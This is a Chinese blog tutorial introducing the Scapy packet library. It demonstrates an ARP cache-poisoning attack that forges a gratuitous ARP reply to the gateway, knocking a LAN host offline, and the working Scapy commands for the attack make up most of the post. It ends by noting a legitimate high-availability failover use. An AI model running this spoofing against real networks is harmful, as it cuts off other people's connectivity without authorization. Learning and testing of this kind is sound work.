网络协议从入门到上瘾--初识Scapy

互联网的核心是一系列协议,总称为“互联网协议”。它们对电脑如何连接和组网,做出来详尽的规定。理解了这些协议,就是理解了互联网的原理。

在面试或者工作过程中,我们对我们知道的网络协议侃侃而谈,五层模型,osi七层模型,三次握手,四次挥手,TCP/IP协议族,ICMP,ARP,HTTP,SNMP,广播,多播,组播,单播等等概念信手拈来。但是当遇到无法解决的网络问题时,我们可能开始怀疑自己是否真的理解了这些协议。毕竟大部分时候,我们只是记忆了这些概念,并在工作中利用前人发明的网络工具和经验解决工作中遇到的问题。

Scapy是一个建立在Python环境之上的网络数据包操作程序,可以很容易随意操控网络数据包,从而利用它很容易的理解网络协议的工作原理。

下面利用网络协议和Scapy实现一个有意思的程序:

使用Scapy攻击局域网主机,使被攻击主机断网。原理很简单,就是利用免费ARP,修改网关中被攻击主机的ARP缓存。

1.查询局域网网关

[root@controller ~]# ip route
default via 192.168.91.254 dev ens192 
169.254.0.0/16 dev ens192 scope link metric 1002

其中,192.168.91.254即是局域网网关ip地址。

2.安装Scapy

pip install scapy

3.在命令行执行scapy,启动scapy交换界面

4.使用Scapy构建免费ARP应答包

>>>arp = ARP(op=2,hwsrc="00:0c:22:33:cc:cc",hwdst="80:05:88:b5:88:64",pdst='192.168.91.254',psrc='192.168.90.22')

其中,op=2表示该arp包是应答包(根据arp协议,1表示请求,2表示应答);该arp包模拟了192.168.90.22应答网关192.168.91.254的arp应答包,网关收到该应答包后,会更新arp缓存,即修改192.168.90.22的mac为00:0c:22:33:cc:cc。

5.发送ARP应答包

>>>sendp(Ether(dst="80:05:88:b5:88:64")/arp)

向网关发送免费arp应答包,刷新网关ARP缓存。ARP请求是广播方式,ARP应答是单播方式。dst是网关的mac地址。

6.在被攻击主机中ping有效ip地址,检测被攻击主机网络是否受到影响

[root@compute1 ~]# ping www.baidu.com
ping: www.baidu.com: Name or service not known

小结

上述实验只是Scapy的一个小应用,看似很鸡肋,且没有任何实用价值,但是在实际中工作中是有用武之地的。比如在高可用场景下,网络服务发生主备切换,如果刚切换到主机的mac地址不能很快通知网关,则网关将会继续把流量发送给刚降级的备机。通过主动发送免费arp应答包,可以避免此类问题。

如果对云计算感兴趣,可以关注我的微信公众号:

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值